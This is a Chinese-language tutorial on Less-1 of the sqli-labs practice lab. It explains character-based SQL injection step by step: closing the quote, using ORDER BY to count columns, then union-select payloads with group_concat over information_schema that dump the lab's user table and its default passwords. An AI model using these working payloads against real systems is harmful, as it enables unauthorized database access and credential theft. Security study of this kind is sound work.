目录
sql注入是什么?
sqli-labs第一关--字符型注入
思路:想要利用连表查询
进一步思考如何逃脱单引号
如何知道表的列数
最终目的:注入管理员账号密码
sql注入是什么?
注入:都是合理合法的MySQL执行语句
产生的原因:对于输入没有做过滤,导致意外的查询语句进到了程序中,查询出来了本不应
该查询的数据
sqli-labs第一关--字符型注入
less-1初步的理解
没有任何障碍,没有过滤函数,简单的接收参数,查询数据库,然后展示到前端
代码存在的问题:对于用户的输入没有做任何过滤
MySQL连表查询:保证字段数的一致,创建临时表保证字段一致
建立一个商品表
更改相关代码
访问gid=1的信息
思路:想要利用连表查询
如果直接输入1 union select 1,2,3
而代码中呈现的是 gid=' 1 union select 1,2,3 '
由于数据库纠错机制会删掉后面的 'union select 1,2,3' 所以执行的还是gid='1'
思路结论:没有逃脱单引号的控制
进一步思考如何逃脱单引号
进行闭合单引号---->直白点就是加单引号的方式逃脱单引号
如果 输入 1' union select 1,2,3 代码呈现:gid='1' union select 1,2,3 '
1、单引号成对出现
2、多出的单引号的处理思路:a.将单引号闭合b.将单引号注释掉
尝试gid=' 1 ' # '
urlencode地址传参#会进行编码 #未编码的原因
urlencode编码规范 先转ascli码再转16进制
#的urlencode编码是%23
替换成%23 成功
单引号逃脱解决
进行连表查询需要表的列数
如何知道表的列数
利用order by检测列数:输入 1' order by 1%23
--+ 也可以注释
问题:而+和空格的关系
原因:当使用URLEncoder时,会发现字符串中的空格被转换成“+”号,如果编码后的内容入库后,
将导致读取时,前段本来是空格的地方,会显示成“+”号字符。
URLEncoder.encode方法是基于application/x-www-form-urlencoded MIME格式进行编码 的。这种编码方式最初是为了在HTML表单中提交数据而设计的。根据这种编码方式的规 定,空格字符会被替换为“+”号。
这种替换的原因主要是出于简化编码和节省空间的考虑。在表单提交中,空格是非常常见 的 字符,而将其替换为“+”号可以有效地缩短编码后的字符串长度,减少数据传输量。
使用1' order by 4%23 代码中为gid='1' order by 4%23'
使用 1' order by 3%23 代码中为gid='1' order by 3%23'
进而得出表的列数
尝试gid='1' union select 1,2,3--+'
没变化的原因是呈现只显示第一表
让第一个表为空 gid为没有的值
gid='11' union select 1,2,3--+'
而2,3可以替换成mysql查询的库和用户
gid='1111' union select 1,user(),database()--+'
得到当前的用户和数据库名
最终目的:注入管理员账号密码
在MySQL上的思路
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| challenges |
| mysql |
| performance_schema |
| security |
| sys |
+--------------------+
mysql> desc tables;
+-----------------+---------------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-----------------+---------------------+------+-----+---------+-------+
| TABLE_CATALOG | varchar(512) | NO | | | |
| TABLE_SCHEMA | varchar(64) | NO | | | |
| TABLE_NAME | varchar(64) | NO | | | |
| TABLE_TYPE | varchar(64) | NO | | | |
| ENGINE | varchar(64) | YES | | NULL | |
| VERSION | bigint(21) unsigned | YES | | NULL | |
| ROW_FORMAT | varchar(10) | YES | | NULL | |
| TABLE_ROWS | bigint(21) unsigned | YES | | NULL | |
| AVG_ROW_LENGTH | bigint(21) unsigned | YES | | NULL | |
| DATA_LENGTH | bigint(21) unsigned | YES | | NULL | |
| MAX_DATA_LENGTH | bigint(21) unsigned | YES | | NULL | |
| INDEX_LENGTH | bigint(21) unsigned | YES | | NULL | |
| DATA_FREE | bigint(21) unsigned | YES | | NULL | |
| AUTO_INCREMENT | bigint(21) unsigned | YES | | NULL | |
| CREATE_TIME | datetime | YES | | NULL | |
| UPDATE_TIME | datetime | YES | | NULL | |
| CHECK_TIME | datetime | YES | | NULL | |
| TABLE_COLLATION | varchar(32) | YES | | NULL | |
| CHECKSUM | bigint(21) unsigned | YES | | NULL | |
| CREATE_OPTIONS | varchar(255) | YES | | NULL | |
| TABLE_COMMENT | varchar(2048) | NO | | | |
+-----------------+---------------------+------+-----+---------+-------+
mysql> select table_name from tables where table_schema='security';
+------------+
| table_name |
+------------+
| emails |
| goods |
| referers |
| uagents |
| users |
+------------+
mysql> select column_name from columns where table_schema='security' and table_name='users';
+-------------+
| column_name |
+-------------+
| id |
| username |
| password |
+-------------+
mysql> select username,password from security.users;
+----------+------------+
| username | password |
+----------+------------+
| Dumb | Dumb |
| Angelina | I-kill-you |
| Dummy | p@ssword |
| secure | crappy |
| stupid | stupidity |
| superman | genious |
| batman | mob!le |
| admin | admin |
| admin1 | admin1 |
| admin2 | admin2 |
| admin3 | admin3 |
| dhakkan | dumbo |
| admin4 | admin4 |
+----------+------------+
利用group_concat()将查询结果连起来
-1'union select 1,2,group_concat(table_name) from information_schema.tables --+
-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
-1' union select 1,2,group_concat(username ,id , password) from users--+